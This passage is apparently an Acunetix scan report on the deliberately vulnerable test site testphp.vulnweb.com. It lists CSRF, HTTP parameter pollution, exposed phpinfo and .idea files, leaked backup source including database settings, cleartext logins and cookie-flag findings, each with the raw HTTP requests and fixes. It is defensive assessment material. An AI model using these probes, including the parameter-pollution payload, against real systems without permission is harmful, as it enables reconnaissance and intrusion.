Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 25

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



goButton=go&searchFor=the
```

/signup.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: search.php?test=query Form method: POST Form inputs: • searchFor [text] • goButton [submit]

```
GET /signup.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/signup.php

Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: form1 Form action: /secured/newuser.php Form method: POST Form inputs: • uuname [text] • upass [password] • upass2 [password] • urname [text] • ucc [text] • uemail [text] • uphone [text] • uaddress [textarea] • signup [submit]

```
GET /signup.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/Templates/main_dynamic_template.dwt.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: ../search.php?test=query Form method: POST Form inputs: • searchFor [text] • goButton [submit]

```
GET /Templates/main_dynamic_template.dwt.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/userinfo.php

Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: search.php?test=query Form method: POST Form inputs: • searchFor [text] • goButton [submit]

```
POST /userinfo.php HTTP/1.1

Host: testphp.vulnweb.com

Content-Length: 20

Pragma: no-cache

Cache-Control: no-cache

Origin: http://testphp.vulnweb.com

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/login.php

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0



uname=test&pass=test
```

/userinfo.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: form1 Form action: <empty> Form method: POST Form inputs: • <empty> [text] • ucc [text] • uemail [text] • uphone [text] • uaddress [textarea] • update [submit]

```
POST /userinfo.php HTTP/1.1

Host: testphp.vulnweb.com

Content-Length: 20

Pragma: no-cache

Cache-Control: no-cache

Origin: http://testphp.vulnweb.com

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/login.php

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0



uname=test&pass=test
```

/hpp/	
Alert group	**HTTP parameter pollution**
Severity	Medium
Description	This script is possibly vulnerable to HTTP Parameter Pollution attacks. HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If the web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either clientside or server-side attacks.
Recommendations	The application should properly sanitize user input (URL encode) to protect against this vulnerability.
Alert variants	
Details	URL encoded GET input **pp** was set to **12&n925620=v920839** Parameter precedence: **last occurrence** Affected link: **params.php?p=valid&pp=12&n925620=v920839** Affected parameter: **p=valid**

```
GET /hpp/?pp=12%26n925620=v920839 HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Web Server	
Alert group	**Insecure crossdomain.xml file**
Severity	Medium

Description	The browser security model normally prevents web content from one domain from accessing data from another domain. This is commonly known as the "same origin policy". URL policy files grant cross-domain permissions for reading data. They permit operations that are not permitted by default. The URL policy file is located, by default, in the root directory of the target server, with the name crossdomain.xml (for example, at www.example.com/crossdomain.xml).
	When a domain is specified in crossdomain.xml file, the site declares that it is willing to allow the operators of any servers in that domain to obtain any document on the server where the policy file resides. The crossdomain.xml file deployed on this website opens the server to all domains (use of a single asterisk "*" as a pure wildcard is supported) like so:
	`<cross-domain-policy>`
	`<allow-access-from domain="*" />`
	`</cross-domain-policy>`
	This practice is suitable for public servers, but should not be used for sites located behind a firewall because it could permit access to protected areas. It should not be used for sites that require authentication in the form of passwords or cookies. Sites that use the common practice of authentication based on cookies to access private or user-specific data should be especially careful when using cross-domain policy files.

Recommendations	Carefully evaluate which sites will be allowed to make cross-domain calls. Consider network topology and any authentication mechanisms that will be affected by the configuration or implementation of the cross-domain policy.
Alert variants	
Details	The crossdomain.xml file is located at **/crossdomain.xml**.

```
GET /crossdomain.xml HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Web Server	
Alert group	**JetBrains .idea project directory**
Severity	Medium
Description	The .idea directory contains a set of configuration files (.xml) for your project. These configuration files contain information core to the project itself, such as names and locations of its component modules, compiler settings, etc. If you've defined a data source the file dataSources.ids contains information for connecting to the database and credentials. The workspace.xml file stores personal settings such as placement and positions of your windows, your VCS and History settings, and other data pertaining to the development environment. It also contains a list of changed files and other sensitive information. These files should not be present on a production system.

Recommendations	Remove these files from production systems or restrict access to the .idea directory. To deny access to all the .idea folders you need to add the following lines in the appropriate context (either global config, or vhost/directory, or from .htaccess):
	`<Directory ~ "\.idea">`
	`Order allow,deny`
	`Deny from all`
	`</Directory>`

Alert variants	
Details	workspace.xml project file found at : /.idea/workspace.xml Pattern found: `<project version="4">`

```
GET /.idea/workspace.xml HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/secured/phpinfo.php	
Alert group	**PHP allow_url_fopen enabled (verified)**
Severity	Medium
Description	The PHP configuration directive allow_url_fopen is enabled. When enabled, this directive allows data retrieval from remote locations (web site or FTP server). A large number of code injection vulnerabilities reported in PHP-based web applications are caused by the combination of enabling allow_url_fopen and bad input filtering. allow_url_fopen is enabled by default.
Recommendations	You can disable allow_url_fopen from either php.ini (for PHP versions newer than 4.3.4) or .htaccess (for PHP versions up to 4.3.4). **php.ini** allow_url_fopen = 'off' **.htaccess** php_flag allow_url_fopen off
Alert variants	
Details	This vulnerability was detected using the information from phpinfo() page. allow_url_fopen: On

```
GET /secured/phpinfo.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/secured/phpinfo.php

Alert group	**PHP errors enabled (verified)**
Severity	Medium
Description	Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found that the PHP `display_errors` directive is enabled.
Recommendations	Adjust `php.ini` or `.htaccess` (`mod_php` with Apache HTTP Server) to disable `display_errors` (refer to 'Detailed information' section).
Alert variants	
Details	This vulnerability was detected using the information from phpinfo() page. display_errors: On

```
GET /secured/phpinfo.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Web Server	
Alert group	**PHP errors enabled (verified)**
Severity	Medium
Description	Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix AcuSensor found that the PHP `display_errors` directive is enabled.
Recommendations	Adjust `php.ini` or `.htaccess` (`mod_php` with Apache HTTP Server) to disable `display_errors` (refer to 'Detailed information' section).
Alert variants	
Details	Current setting is : **display_errors = 1**

/secured/phpinfo.php	
Alert group	**PHP open_basedir is not set (verified)**
Severity	Medium
Description	The open_basedir configuration directive will limit the files that can be opened by PHP to the specified directory-tree. When a script tries to open a file with, for example, fopen() or gzopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to open it. open_basedir is a good protection against remote file inclusion vulnerabilities. For a remote attacker it is not possible to break out of the open_basedir restrictions if he is only able to inject the name of a file to be included. Therefore the number of files he will be able to include with such a local file include vulnerability is limited.

Recommendations	You can set open_basedir from php.ini **php.ini** open_basedir = your_application_directory
Alert variants	
Details	This vulnerability was detected using the information from phpinfo() page. open_basedir: no value

```
GET /secured/phpinfo.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/secured/phpinfo.php	
Alert group	**PHP session.use_only_cookies disabled (verified)**
Severity	Medium
Description	When use_only_cookies is disabled, PHP will pass the session ID via the URL. This makes the application more vulnerable to session hijacking attacks. Session hijacking is basically a form of identity theft wherein a hacker impersonates a legitimate user by stealing his session ID. When the session token is transmitted in a cookie, and the request is made on a secure channel (that is, it uses SSL), the token is secure.
Recommendations	You can enabled session.use_only_cookies from php.ini or .htaccess. **php.ini** session.use_only_cookies = 'on' **.htaccess** php_flag session.use_only_cookies on
Alert variants	
Details	This vulnerability was detected using the information from phpinfo() page. session.use_only_cookies: On

```
GET /secured/phpinfo.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/secured/phpinfo.php	
Alert group	**PHPinfo page (verified)**
Severity	Medium
Description	PHPinfo page has been found in this directory. The PHPinfo page outputs a large amount of information about the current state of PHP. This includes information about PHP compilation options and extensions, the PHP version, server information and environment (if compiled as a module), the PHP environment, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License.
Recommendations	Remove the file from production systems.
Alert variants	
Details	phpinfo() page found at : /secured/phpinfo.php. Pattern found: `<title>phpinfo()</title>`

```
GET /secured/phpinfo.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/secured/phpinfo.php	
Alert group	**PHPinfo page found**
Severity	Medium

Description	This script is using phpinfo() function. This function outputs a large amount of information about the current state of PHP. This includes information about PHP compilation options and extensions, the PHP version, server information and environment (if compiled as a module), the PHP environment, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License.
Recommendations	Remove the file from production systems.
Alert variants	
Details	Pattern found: `<title>phpinfo()</title>`

```
GET /secured/phpinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/index.bak	
Alert group	**Source code disclosure**
Severity	Medium
Description	Looks like the source code for this script is available. This check is using pattern matching to determine if server side tags are found in the file. In some cases this alert may generate false positives.
Recommendations	Remove this file from your website or change its permissions to remove access.
Alert variants	

Details	This file was found using the pattern . Original filename: Pattern found:

```
<?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859

<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>Home of WASP Art</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<!-- here goes headers headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(pars
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresiz
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_p
```

```
GET /index.bak HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/pictures/wp-config.bak	
Alert group	**Source code disclosure**
Severity	Medium
Description	Looks like the source code for this script is available. This check is using pattern matching to determine if server side tags are found in the file. In some cases this alert may generate false positives.
Recommendations	Remove this file from your website or change its permissions to remove access.
Alert variants	

Details

This file was found using the pattern .
Original filename:
Pattern found:

```
<?php
// ** MySQL settings ** //
define('DB_NAME', 'wp265as');    // The name of the database
define('DB_USER', 'root');     // Your MySQL username
define('DB_PASSWORD', ''); // ...and password
define('DB_HOST', 'localhost');    // 99% chance you won't need to c
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

// Change each KEY to a different unique phrase.  You won't have to
// so make them long and complicated.  You can visit http://api.word
// to get keys generated for you, or just make something up.  Each k
define('AUTH_KEY', 'put your unique phrase here'); // Change this to
define('SECURE_AUTH_KEY', 'put your unique phrase here'); // Change
define('LOGGED_IN_KEY', 'put your unique phrase here'); // Change th

// You can have multiple installations in one database if you give e
$table_prefix  = 'w ...
```

```
GET /pictures/wp-config.bak HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/login.php	
Alert group	**User credentials are sent in clear text**
Severity	Medium
Description	User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.
Recommendations	Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).
Alert variants	
Details	Form name: loginform Form action: userinfo.php Form method: POST

```
GET /login.php HTTP/1.1

Host: testphp.vulnweb.com

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

/signup.php	
Alert group	**User credentials are sent in clear text**
Severity	Medium
Description	User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.
Recommendations	Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).
Alert variants	
Details	Form name: form1 Form action: /secured/newuser.php Form method: POST

```
GET /signup.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/pictures/WS_FTP.LOG	
Alert group	**WS_FTP log file found (verified)**
Severity	Medium
Description	WS_FTP is a popular FTP client. This application creates a log file named WS_FTP.LOG. This file contains sensitive data such as file source/destination and file name, date/time of upload etc.
Recommendations	Remove this file from your website or change its permissions to remove access.
Alert variants	
Details	Pattern found: `103.05.06 13:17`

```
GET /pictures/WS_FTP.LOG HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Web Server	
Alert group	**Clickjacking: X-Frame-Options header missing**

Severity	Low
Description	Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages. The server didn't return an **X-Frame-Options** header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page inside a frame or iframe. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.
Recommendations	Configure your web server to include an X-Frame-Options header and a CSP header with frame-ancestors directive. Consult Web references for more information about the possible values for this header.
Alert variants	
Details	

```
GET / HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Web Server	
Alert group	**Cookie(s) without HttpOnly flag set (verified)**
Severity	Low
Description	This cookie does not have the HttpOnly flag set. When a cookie is set with the HttpOnly flag, it instructs the browser that the cookie can only be accessed by the server and not by client-side scripts. This is an important security protection for session cookies.
Recommendations	If possible, you should set the HttpOnly flag for this cookie.
Alert variants	
Details	Set-Cookie: login=test%2Ftest

```
POST /userinfo.php HTTP/1.1

Host: testphp.vulnweb.com

Content-Length: 20

Pragma: no-cache

Cache-Control: no-cache

Origin: http://testphp.vulnweb.com

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/login.php

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0



uname=test&pass=test
```

Web Server	
Alert group	**Cookie(s) without Secure flag set (verified)**
Severity	Low
Description	This cookie does not have the Secure flag set. When a cookie is set with the Secure flag, it instructs the browser that the cookie can only be accessed over secure SSL/TLS channels. This is an important security protection for session cookies.
Recommendations	If possible, you should set the Secure flag for this cookie.
Alert variants	
Details	Set-Cookie: login=test%2Ftest

```
POST /userinfo.php HTTP/1.1

Host: testphp.vulnweb.com

Content-Length: 20

Pragma: no-cache

Cache-Control: no-cache

Origin: http://testphp.vulnweb.com

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/login.php

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0



uname=test&pass=test
```

/product.php	
Alert group	**Hidden form input named price was found**
Severity	Low
Description	A hidden form input named price was found. It's not recommended to hide sensitive information in hidden form fields.
Recommendations	Check if the script inputs are properly validated.
Alert variants	
Details	Form name: f_addcart Form action: cart.php Form method: POST Form input: - price [hidden]

```
GET /product.php?pic=1 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/Connections/DB_Connection.php	
Alert group	**MySQL username disclosure**
Severity	Low
Description	For a client program to be able to connect to the MySQL server, it must use the proper connection parameters, such as the name of the host where the server is running and the user name and password of your MySQL account. When the connection to the database cannot be established, the server returns an error message including the MySQL username and host that were used. This information should not be present on a production system.
Recommendations	Make sure the MySQL connection can be established and configure PHP not to display error messages.
Alert variants	
Details	Pattern found: `Access denied for user 'root'@'localhost' (using password: NO)`

```
GET /Connections/DB_Connection.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

